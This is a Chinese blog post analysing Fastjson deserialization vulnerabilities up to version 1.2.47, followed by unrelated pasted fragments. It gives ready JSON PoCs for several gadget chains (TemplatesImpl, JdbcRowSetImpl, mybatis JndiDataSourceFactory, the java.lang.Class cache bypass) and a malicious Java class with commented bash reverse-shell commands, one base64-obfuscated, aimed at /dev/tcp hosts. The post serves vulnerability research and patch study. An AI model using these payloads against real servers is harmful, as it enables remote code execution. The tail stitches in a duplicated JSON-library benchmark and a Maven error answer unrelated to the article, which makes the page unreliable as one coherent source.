Fastjson反序列化高危漏洞系列-part1:1.2.x — 1.2.47

前言

本文是对fastjson高危漏洞的一次整理,包括漏洞调试、PoC构造和补丁分析。

1、Fastjson的序列化和反序列化

Fastjson是自己实现了一套JSON序列化和反序列机制。

1.1 fastjson序列化

用以下示例演示Fastjson的序列化和反序列化。

下面创建一个Student类,有属性String类型的name、int类型的age、以及HashMap类型的_properties,有无参构造函数,有各个属性的setter/getter方法。

package me.mole.pojo;

import java.util.HashMap;

public class Student {
    private String name;
    private int age;
    private HashMap<String,String> _properties;

    public Student() {
        System.out.println("无参构造函数");
    }

    public String getName() {
        System.out.println("getName");
        return name;
    }

    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }

    public int getAge() {
        System.out.println("getAge");
        return age;
    }

    public void setAge(int age) {
        System.out.println("setAge");
        this.age = age;
    }

    public HashMap<String, String> getProperties() {
        System.out.println("getProperties");
        return _properties;
    }

    public void setProperties(HashMap<String,String> properties) {
        System.out.println("setProperties");
        this._properties = properties;
    }

    @Override
    public String toString() {
        return "Student{" +
                "name='" + name + '\'' +
                ", age=" + age +
                ", _properties=" + _properties +
                '}';
    }
}

以下代码使用Fastjson对Student的对象进行序列化:

@Test
public void test1() {
    Student student = new Student();
    student.setName("lAdyb1rd");
    student.setAge(6);
    HashMap<String,String> map = new HashMap<String,String>();
    map.put("k1", "val1");
    student.setProperties(map);

    System.out.println("----------序列化------------");
    //SerializerFeature.WriteClassName,是JSON.toJSONString()中的一个设置属性值,
    // 设置之后在序列化的时候会多写入一个@type,即写上被序列化的类名
    String jsonStr = JSON.toJSONString(student, SerializerFeature.WriteClassName);
    System.out.println("jsonStr=" + jsonStr);

输出如下:
在这里插入图片描述

如上,在序列化时设置SerializerFeature.WriteClassName,就会在序列化时多写入一个@type,即被序列化的类名。

可以看到,fastjson序列化的过程中,会调用对象的属性的getter方法。

1.2 fastjson反序列化

再来看看反序列化。

String jsonStr = String jsonStr = "{\"@type\":\"me.mole.pojo.Student\",\"age\":6,\"name\":\"lAdyb1rd\",\"_properties\":{\"k1\":\"val1\"}}";
System.out.println("jsonStr=" + jsonStr);
System.out.println("----------反序列化: JSON.parse------------");
Student stu2 = (Student) JSON.parse(jsonStr);
System.out.println(stu2);

在这里插入图片描述
可以看到,反序列化的过程中,会调用类的无参构造方法、属性的setter方法。


如果把Student类中name属性的setter方法注释掉,同时在调用JSON.parse()方法时,加上Feature.SupportNonPublicField标志位(加上该标志位才能将没有setter方法的私有属性的值反序列化出来),再来看看反序列化的结果:
在这里插入图片描述
依旧反序列化出来了,由于没有了setName()方法,所以就不会被调用。


setName()的注释去掉,这次将setProperties()注释掉,结果会如何呢?
在这里插入图片描述
可以看到_properties属性的值没有被反序列化出来。但与前面setName()注释掉的情况不同,这次居然会调用getProperties()方法…

如果我再把getProperties()方法也给注释掉,再看看反序列化的结果:
在这里插入图片描述
居然反序列化出来… 这里面的逻辑具体可查看com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(Object object, Object value)方法的实现,这里就不细说了。
在这里插入图片描述

1.2.1 fastjson反序列化漏洞原理

只要记住:在fastjson反序列化的过程中,会调用目标类的无参构造方法,可能会调用目标类的属性的setter/getter方法。因此,只要目标类的无参构造方法、setter/getter方法中存在危险操作的话,就可能存在fastjson反序列化漏洞。

1.2.2 fastjson反序列化漏洞Demo

为了更形象地去理解,最简单的,在前面的Student类的setName()方法中加入命令执行的代码:

public void setName(String name) {
    System.out.println("setName");
    try {
        Runtime.getRuntime().exec("open -a Calculator");
    } catch (IOException e) {
        e.printStackTrace();
    }
    this.name = name;
}

然后执行反序列化,可以看到弹出了计算器:
在这里插入图片描述
后续讨论的fastjson的高危漏洞,原理本质是一样的,只是和开发者的防御加固方式进行对抗而已(黑名单绕过、绕过autotype限制)。

2、Fastjson <= 1.2.24

1.2.24版本及之前的版本,fastjson默认是开启AutoType特性的,即可以通过在JSON字符串中传入@type来指定反序列化成指定的类。且没有对反序列化的类进行任何的过滤。

目前该版本漏洞主要有以下利用链:

  • 利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
  • 利用com.sun.rowset.JdbcRowSetImpl进行JNDI注入利用

2.1 利用链 - TemplatesImpl

熟悉ysoserial这个java反序列化工具的,看到com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl类一定很熟悉。因为它是CommonsCollections2利用链中很重要的类。

配合之前对fastjson反序列化的了解,来看看TemplatesImpl这个类为什么能利用。

TemplatesImpl有一个java.util.Properties类型的私有属性_outputProperties,该属性只有getter方法,没有setter方法。由于java.util.PropertiesMap的子类,根据前面提到的fastjson中com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue(Object object, Object value)方法的实现逻辑可知,当TemplatesImpl类被反序列化时,会调用_outputProperties的getter方法getOutputProperties(),来看看该方法的实现:
在这里插入图片描述
进入newTransformer()方法:
在这里插入图片描述
进入getTransletInstance()方法:
在这里插入图片描述
可以看到这里存在将字节码加载为Class对象,然后将Class对象实例化的操作。
进入defineTransletClassess()方法来看一下字节码是怎么来的:
在这里插入图片描述
可以看到,字节码是存放在TemplatesImpl类的私有属性_bytecodes中的。

因此,我们可以精心构造JSON字符串,主要就是通过@type来指定要反序列化的类为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,同时将恶意类的字节码放到_bytecodes属性中,当fastjson进行反序列化时便会加载并实例化恶意类,并执行其中的恶意代码。

2.1.1 限制条件

由于TemplatesImpl的属性_tfactory没有setter方法,_bytecodes_name等私有属性的setter方法名不是一般的setXXXX(),而是setTransletXXXX(),所以在fastjson反序列化时,必须指定Feature.SupportNonPublicField才行,即:

JSON.parse(fj_poc, Feature.SupportNonPublicField);
//或:
JSON.parseObject(fj_poc, Feature.SupportNonPublicField);

2.1.2 构造PoC

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":["yv66vg...(恶意类的字节码的base64编码)..."],
'_name':'a.b',
'_tfactory':{},
"_outputProperties":{}
}

测试代码如下:

private String readClass(String cls){
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    try {
        IOUtils.copy(new FileInputStream(new File(cls)), bos);
    } catch (Exception e) {
        e.printStackTrace();
    }

    return Base64.encodeBase64String(bos.toByteArray());
}

@Test
public void test_poc_2() {
    String evilClassPath = "/Users/fa1c0n/codeprojects/IdeaProjects/misc-classes/src/main/java/Exploit2.class";
    String evilCode = readClass(evilClassPath);
    String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
    String fj_poc = "{\"@type\":\"" + NASTY_CLASS +
            "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{}}\n";
    System.out.println(fj_poc);

//        JSON.parse(fj_poc, Feature.SupportNonPublicField);
    JSON.parseObject(fj_poc, Feature.SupportNonPublicField);
}

恶意类Exploit2

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Exploit2 extends AbstractTranslet {
    public Exploit2() {
        try {
            Runtime.getRuntime().exec("open -a Calculator");
//            Runtime.getRuntime().exec("/bin/bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQzIDA+JjE=}|{base64,-d}|{bash,-i}");

//            Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.166.233/4444 0>&1"});
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

问题1:为什么_bytecodes中的字节码要经过base64编码

这是因为fastjson在反序列化的过程中,其中,在处理byte[]数组类型的字段时,会对值做base64解码处理。

代码位于:com.alibaba.fastjson.serializer.ObjectArrayCodec#deserialze()方法中
在这里插入图片描述
在这里插入图片描述

问题2:恶意类为什么要继承AbstractTranslet类

恶意类需要继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,这是因为如果不继承该类的话,反序列化的过程中,就会抛异常,导致漏洞利用失败。

相关代码位于TemplatesImpl#defineTransletClasses()方法:
在这里插入图片描述

问题3:fastjson为什么认为_outputProperties的get方法是getOutputProperties

fastjson在反序列化过程中,如果碰到属性名以_-开头,其实是会将其去掉,然后再找对应的setter/getter方法的。
相关代码位于 :
JavaBeanDeserializer#smartMatch()
在这里插入图片描述

问题4:为什么要给_name和_tfactory两个属性赋值

如果_name属性的值为null,就不会往下走进入加载类字节码的操作中。
相关代码位于 TemplatesImpl#getTransletInstance()
在这里插入图片描述
如果_tffactory属性的值为null,会抛出异常,就不会往下走进入加载类的字节码的操作中。
相关代码位于TemplatesImpl#defineTransletClasses()
在这里插入图片描述

2.2 利用链 - JdbcRowSetImpl

这条利用链主要是利用JNDI注入来实现RCE。

关于JNDI注入,之前的文章 JNDI注入利用原理及绕过高版本JDK限制 中已经详细讨论过了,这里不再细说。

2.2.1 PoC

{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}

或:

{"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:8085/Exploit",
"autoCommit":true}

2.3 漏洞修复

1.2.25版本开始,AutoType功能默认不开启,如要开启,有以下两种方式:

  • (1) 增加JVM启动参数 -Dfastjson.parser.autoTypeSupport=true
  • (2) 调用 ParserConfig.getGlobalInstance().setAutoTypeSupport(true)

通过版本比对,可以看到1.2.25版本中,在处理反序列化的类时,将加载类的TypeUtils.loadClass()替换为了ParserConfig#checkAutoType()
在这里插入图片描述
来看下ParserConfig#checkAutoType()的实现:

(1) 如果AutoType开启,则先检查目标类是否在白名单中,如果在白名单中,则加载目标类,并返回;如果不在白名单中,则检查是否在黑名单中,如果在,则抛出异常。
在这里插入图片描述
(2) 如果AutoType没开启,则先检查目标类是否在黑名单中,如果匹配,则抛出异常;如果不匹配黑名单,则继续检查是否在白名单中,如果在,则加载类,并返回。
在这里插入图片描述
(3) 如果目标类既不在白名单也不在黑名单中的情况下,在checkAutoType()方法的最后,会检查:如果未开启AutoType,则抛出异常。也就是说,如果fastjson未开启AutoType,是不能通过@type来指定反序列化的目标类的。
在这里插入图片描述

3、Fastjson <= 1.2.41 (需开启AutoType)

3.1 漏洞分析

ParserConfig#checkAutoType()方法中,会对满足校验条件的类,调用TypeUtils#loadClass()方法进行类加载。看下TypeUtils#loadClass()方法的实现:
在这里插入图片描述
可以看到,当传入的类名是Java类签名的形式,即以L字母开头,同时以分号;结尾时,会去掉首字母L和最后的;,从而得到类名,然后加载。

3.2 PoC

因此,在fastjson开启AutoType的前提条件下,将前面的两个PoC修改一下,便可以触发反序列化漏洞。以JdbcRowSetImpl利用链为例:

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}

3.3 漏洞修复

1.2.42版本开始,可能是作者为了增加安全研究员的分析难度(比如防止研究人员知道有哪些包名或类名已被加入黑名单),特意把之前以明文保存在代码里的包名/类名的黑名单,改为了以哈希值的方式进行保存:
在这里插入图片描述
但已经有研究人员将这些黑名单跑出明文,并公开在github了(参考[3])

关于本次漏洞的修复代码如下,位于ParserConfig#checkAutoType()
在这里插入图片描述
在进入黑白名单的校验代码之前,先是判断传入的类名,如果第一个字符是L且最后一个字符是;,则去掉它们,再进入后面的黑白名单校验逻辑。

4、Fastjson <= 1.2.42 (需开启AutoType)

4.1 漏洞分析和PoC

不得不说,1.2.42版本的漏洞修复还是太草率了。从前面的分析很容易想到绕过方式:前后分别再多加一个L;即可。以JdbcRowSetImpl利用链为例:

{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}

4.2 漏洞修复

1.2.43版本的ParserConfig#checkAutoType()方法中,在前一个版本的基础上,增强了对校验,如下:
在这里插入图片描述
校验逻辑为:在类名的第一个字符为L且最后一个字符为;的前提条件下,如果第二个字符为L,则抛出异常。

5、Fastjson <= 1.2.43 (需开启AutoType)

5.1 漏洞分析

既然无法适用LL类名;;的形式,再回头看一下,TypeUtils#loadClass()方法,可以看到,当类名前面加上[符号,会当作数组类进行处理:
在这里插入图片描述
且类名前面加上[也可以绕过黑名单限制。于是,以JdbcRowSetImpl利用链为例,将PoC修改为:

{"@type":"[com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}

但这样会报错,信息如下:
在这里插入图片描述
报错提示说位置42期望的是一个[符号,但却是一个逗号,,于是尝试在42位置的,前面添加[。再试一下:
在这里插入图片描述
测试报错提示说位置43期望的是一个{符号,于是在43位置的添加{符号,再测,成功利用:
在这里插入图片描述

5.2 PoC

从前面的分析可以下PoC:

{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}

或:

{"@type":"L[com.sun.rowset.JdbcRowSetImpl;"[{,"dataSourceName":"rmi://127.0.0.1:8085/Exploit",
"autoCommit":true}

5.3 漏洞修复

1.2.44版本中,ParserConfig#checkAutoType()的判断逻辑修改为:先检查类名的第一个字符如果为[,则抛异常;否则,继续检查最后一个字符如果是;,则抛异常。从而修复了前面的绕过。
在这里插入图片描述

6、Fastjson <= 1.2.45 (需开启AutoType)

这次是黑名单的绕过,即要利用的类org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在fastjson内置的黑名单中。这种的话就没什么好分析讨论的。

在开启AutoType的前提下,还需要目标环境有mybatis相关依赖。

本次使用mybatis最新的3.5.7版本进行测试,可成功利用。

<dependency>
    <groupId>org.mybatis</groupId>
    <artifactId>mybatis</artifactId>
    <version>3.5.7</version>
</dependency>

6.1 PoC

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties":{"data_source":"rmi://127.0.0.1:8085/Exploit"}}

6.2 漏洞修复

1.2.46版本中,fastjson将包名org.apache.ibatis.datasource添加到内置的黑名单。

7、Fastjson <= 1.2.47 (无需开启AutoType)

这个漏洞印象中是在2019年HW期间暴出来的,可在fastjson未开启AutoType的情况下反序列化利用,导致实战中攻击成功率大大提高,影响很大。

7.1漏洞分析

下面以1.2.47版本进行分析。

当反序列化的类为java.lang.Class时,会将属性val的值,作为类名传入到TypeUtils#loadClass()方法中进行加载类的操作,并将该类保存到用作缓存的ConcurrentHashMap集合中,其中,类名作为Map集合的键,加载得到的Class对象作为Map集合的值。关键代码如下:

MiscCodec#deserialze()
在这里插入图片描述
在这里插入图片描述
跟进TypeUtils.loadClass(),发现又调用了重载方法,且第三个参数boolean cache为true,这样就会在后面加载类后,将该类放到缓存Map集合中。代码如下:
在这里插入图片描述

如果反序列化的类为java.lang.Class,假设val属性的值为com.sun.rowset.JdbcRowSetImpl,那么com.sun.rowset.JdbcRowSetImpl这个类将被放到缓存Map集合中。
如果剩余的JSON字符串中,再次通过@type指定反序列化的类为com.sun.rowset.JdbcRowSetImpl,这样就绕过了fastjson的黑名单检测,成功触发反序列化漏洞。

ParserConfig#checkAutoType()关键代码如下:

  • 开启AutoType的情况:会进入黑名单校验,由于缓存Map集合的关系,黑名单校验无效;
  • 未开启AutoType的情况:不会进入黑名单校验,直接从缓存Map集合中获取到指定类。
    在这里插入图片描述

7.2 PoC

{
 "a": {
   "@type":"java.lang.Class",
   "val":"com.sun.rowset.JdbcRowSetImpl"
 },
 "b": {
   "@type":"com.sun.rowset.JdbcRowSetImpl",
   "dataSourceName":"rmi://127.0.0.1:8085/Exploit",
   "autoCommit":true
 }
}

7.3 1.2.25-1.2.32版本在开启AutoType情况下利用失败的原因

因为在这几个版本中,如果AutoType开启的情况下,在ParserConfig#checkAutoType()方法中,会进入黑名单校验,只要不匹配,就抛出异常,跟后面的版本不同的是,这里没有加上TypeUtils.getClassFromMapping(typeName) == null的条件判断。因此在这种情况下,黑名单校验还是生效的。

以下是1.2.32版本的代码:
在这里插入图片描述

7.4 漏洞修复

1、在调用TypeUtils#loadClass()加载类时,把第三个参数改为了false,这样就不会将val里存放的类名和对应的Class对象放入缓存Map集合中了。
在这里插入图片描述
2、将java.lang.Class类也加入到内置黑名单中。

References

[1] https://paper.seebug.org/1192/
[2] https://github.com/alibaba/fastjson/wiki/enable_autotype
[3] https://github.com/LeadroyaL/fastjson-blacklist

本JSON是基于JAVA8编写,对比阿里的JSON三次测试结果如下: 10万次序列化,1万次反序列化,毫秒。 阿里序列化时间 1122 1054 1115 阿里反序列化时间 409 423 412 HZS序列化时间 884 864 880 HZS反序列化时间 392 375 394 JAVA7版已经逼近阿里的速度,JAVA8版利用了闭包技术,充份发挥多核优势,已经超过阿里的速度。 测试代码如下: { org.hzs.json.JSONObject bjson; java.util.LinkedList<String> jd_Set = new java.util.LinkedList<>(); java.util.Random d1 = new java.util.Random(); java.util.UUID d2; int ji_i; long ji起始时间_i; long ji截至时间_i; java.util.Date date = new java.util.Date(); //生成1万个序列化後的文本 for (ji_i = 0; ji_i < 10000; ji_i++) { bjson = org.hzs.json.JSONObject.d副本(); bjson.put("a1", d1.nextDouble()); bjson.put("a2", d1.nextDouble()); bjson.put("a3", d1.nextDouble()); bjson.put("a4", d1.nextInt()); bjson.put("a5", d1.nextInt()); bjson.put("a6", d1.nextLong()); bjson.put("a7", d1.nextBoolean()); d2 = java.util.UUID.randomUUID(); bjson.put("b1", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b2", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b3", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b4", d2.toString()); bjson.put("c", new java.util.Date()); jd_Set.add(bjson.toString()); } com.alibaba.fastjson.JSONObject ajson, a1json = new com.alibaba.fastjson.JSONObject(); ji起始时间_i = java.util.Calendar.getInstance().getTimeInMillis(); for (ji_i = 0; ji_i < 100000; ji_i++) { ajson = (com.alibaba.fastjson.JSONObject) a1json.clone(); ajson.put("a1", d1.nextDouble()); ajson.put("a2", d1.nextDouble()); ajson.put("a3", d1.nextDouble()); ajson.put("a4", d1.nextInt()); ajson.put("a5", d1.nextInt()); ajson.put("a6", d1.nextLong()); ajson.put("a7", d1.nextBoolean()); d2 = java.util.UUID.randomUUID(); ajson.put("b1", d2.toString()); d2 = java.util.UUID.randomUUID(); ajson.put("b2", d2.toString()); d2 = java.util.UUID.randomUUID(); ajson.put("b3", d2.toString()); d2 = java.util.UUID.randomUUID(); ajson.put("b4", d2.toString()); ajson.put("c", new java.util.Date()); ajson.toString(); } ji截至时间_i = java.util.Calendar.getInstance().getTimeInMillis(); System.out.print("阿里变量序列化时间:"); System.out.println(ji截至时间_i - ji起始时间_i); ji起始时间_i = java.util.Calendar.getInstance().getTimeInMillis(); for (ji_i = 0; ji_i < 10000; ji_i++) { ajson = com.alibaba.fastjson.JSONObject.parseObject(jd_Set.get(ji_i)); } ji截至时间_i = java.util.Calendar.getInstance().getTimeInMillis(); System.out.print("阿里反序列化时间:"); System.out.println(ji截至时间_i - ji起始时间_i); ji起始时间_i = java.util.Calendar.getInstance().getTimeInMillis(); for (ji_i = 0; ji_i < 100000; ji_i++) { bjson = org.hzs.json.JSONObject.d副本(); bjson.put("a1", d1.nextDouble()); bjson.put("a2", d1.nextDouble()); bjson.put("a3", d1.nextDouble()); bjson.put("a4", d1.nextInt()); bjson.put("a5", d1.nextInt()); bjson.put("a6", d1.nextLong()); bjson.put("a7", d1.nextBoolean()); d2 = java.util.UUID.randomUUID(); bjson.put("b1", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b2", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b3", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b4", d2.toString()); bjson.put("c", new java.util.Date()); bjson.toString(); } ji截至时间_i = java.util.Calendar.getInstance().getTimeInMillis(); System.out.print("HZS变量序列化时间:"); System.out.println(ji截至时间_i - ji起始时间_i); ji起始时间_i = java.util.Calendar.getInstance().getTimeInMillis(); for (ji_i = 0; ji_i < 10000; ji_i++) { bjson = org.hzs.json.JSONObject.d副本(jd_Set.get(ji_i)); } ji截至时间_i = java.util.Calendar.getInstance().getTimeInMillis(); System.out.print("HZS反序列化时间:"); System.out.println(ji截至时间_i - ji起始时间_i); }
本JSON是基于JAVA7编写,对比阿里的JSON三次测试结果如下: 10万次序列化,1万次反序列化,毫秒。 阿里序列化时间 1229 1133 1179 阿里反序列化时间 478 523 466 HZS序列化时间 1089 998 1010 HZS反序列化时间 606 623 635 测试代码如下: { org.hzs.json.JSONObject bjson; java.util.LinkedList<String> jd_Set = new java.util.LinkedList<>(); java.util.Random d1 = new java.util.Random(); java.util.UUID d2; int ji_i; long ji起始时间_i; long ji截至时间_i; java.util.Date date = new java.util.Date(); //生成1万个序列化後的文本 for (ji_i = 0; ji_i < 10000; ji_i++) { bjson = org.hzs.json.JSONObject.d副本(); bjson.put("a1", d1.nextDouble()); bjson.put("a2", d1.nextDouble()); bjson.put("a3", d1.nextDouble()); bjson.put("a4", d1.nextInt()); bjson.put("a5", d1.nextInt()); bjson.put("a6", d1.nextLong()); bjson.put("a7", d1.nextBoolean()); d2 = java.util.UUID.randomUUID(); bjson.put("b1", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b2", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b3", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b4", d2.toString()); bjson.put("c", new java.util.Date()); jd_Set.add(bjson.toString()); } com.alibaba.fastjson.JSONObject ajson, a1json = new com.alibaba.fastjson.JSONObject(); ji起始时间_i = java.util.Calendar.getInstance().getTimeInMillis(); for (ji_i = 0; ji_i < 100000; ji_i++) { ajson = (com.alibaba.fastjson.JSONObject) a1json.clone(); ajson.put("a1", d1.nextDouble()); ajson.put("a2", d1.nextDouble()); ajson.put("a3", d1.nextDouble()); ajson.put("a4", d1.nextInt()); ajson.put("a5", d1.nextInt()); ajson.put("a6", d1.nextLong()); ajson.put("a7", d1.nextBoolean()); d2 = java.util.UUID.randomUUID(); ajson.put("b1", d2.toString()); d2 = java.util.UUID.randomUUID(); ajson.put("b2", d2.toString()); d2 = java.util.UUID.randomUUID(); ajson.put("b3", d2.toString()); d2 = java.util.UUID.randomUUID(); ajson.put("b4", d2.toString()); ajson.put("c", new java.util.Date()); ajson.toString(); } ji截至时间_i = java.util.Calendar.getInstance().getTimeInMillis(); System.out.print("阿里变量序列化时间:"); System.out.println(ji截至时间_i - ji起始时间_i); ji起始时间_i = java.util.Calendar.getInstance().getTimeInMillis(); for (ji_i = 0; ji_i < 10000; ji_i++) { ajson = com.alibaba.fastjson.JSONObject.parseObject(jd_Set.get(ji_i)); } ji截至时间_i = java.util.Calendar.getInstance().getTimeInMillis(); System.out.print("阿里反序列化时间:"); System.out.println(ji截至时间_i - ji起始时间_i); ji起始时间_i = java.util.Calendar.getInstance().getTimeInMillis(); for (ji_i = 0; ji_i < 100000; ji_i++) { bjson = org.hzs.json.JSONObject.d副本(); bjson.put("a1", d1.nextDouble()); bjson.put("a2", d1.nextDouble()); bjson.put("a3", d1.nextDouble()); bjson.put("a4", d1.nextInt()); bjson.put("a5", d1.nextInt()); bjson.put("a6", d1.nextLong()); bjson.put("a7", d1.nextBoolean()); d2 = java.util.UUID.randomUUID(); bjson.put("b1", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b2", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b3", d2.toString()); d2 = java.util.UUID.randomUUID(); bjson.put("b4", d2.toString()); bjson.put("c", new java.util.Date()); bjson.toString(); } ji截至时间_i = java.util.Calendar.getInstance().getTimeInMillis(); System.out.print("HZS变量序列化时间:"); System.out.println(ji截至时间_i - ji起始时间_i); ji起始时间_i = java.util.Calendar.getInstance().getTimeInMillis(); for (ji_i = 0; ji_i < 10000; ji_i++) { bjson = org.hzs.json.JSONObject.d副本(jd_Set.get(ji_i)); } ji截至时间_i = java.util.Calendar.getInstance().getTimeInMillis(); System.out.print("HZS反序列化时间:"); System.out.println(ji截至时间_i - ji起始时间_i); }
这个错误通常是由于 Maven 无法从 Maven 中央仓库(central)下载所需的依赖项引起的。该错误消息指出,Maven 在之前的尝试中无法从 https://repo.maven.apache.org/maven2 下载 com.alibaba:fastjson:jar:1.2.83 这个依赖项,并且该错误已被缓存到本地仓库中。根据错误消息中提到的内容,可能有几个原因导致这个问题: 1. 网络连接问题:首先,请确保你的网络连接正常,并且你可以访问 https://repo.maven.apache.org/maven2。有时网络连接不稳定或防火墙设置可能会导致下载失败。 2. 本地仓库缓存问题:Maven 会将下载失败的依赖项缓存在本地仓库中,以避免重复下载。但如果缓存的依赖项出现问题,你可能需要清理本地仓库并重新尝试下载。你可以尝试删除 Maven 本地仓库中与 com.alibaba:fastjson 相关的文件,并重新构建你的项目。 3. Maven 中央仓库问题:偶尔,Maven 中央仓库可能会遇到问题或暂时不可用。你可以尝试等待一段时间后再次构建项目,或者尝试更改 Maven 配置以使用其他镜像仓库。 为了解决这个问题,你可以尝试以下几个步骤: 1. 检查网络连接,并确保你可以访问 https://repo.maven.apache.org/maven2。 2. 清除本地 Maven 仓库中与 com.alibaba:fastjson 相关的缓存文件。你可以在 Maven 设置中找到本地仓库的位置,并删除相应的文件。 3. 在 Maven 配置文件(pom.xml)中,将 Maven 中央仓库的 URL 更改为其他可用的镜像仓库。你可以在 Maven 官方网站找到可用的镜像仓库列表,并将其添加到 pom.xml 文件中。 4. 执行 Maven 构建命令时,添加 -U 参数以强制更新依赖项。 如果上述步骤都无法解决问题,那可能是由于 Maven 中央仓库本身的问题。此时,你可以尝试等待一段时间,直到问题得到修复,或者尝试使用其他版本fastjson 依赖项。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值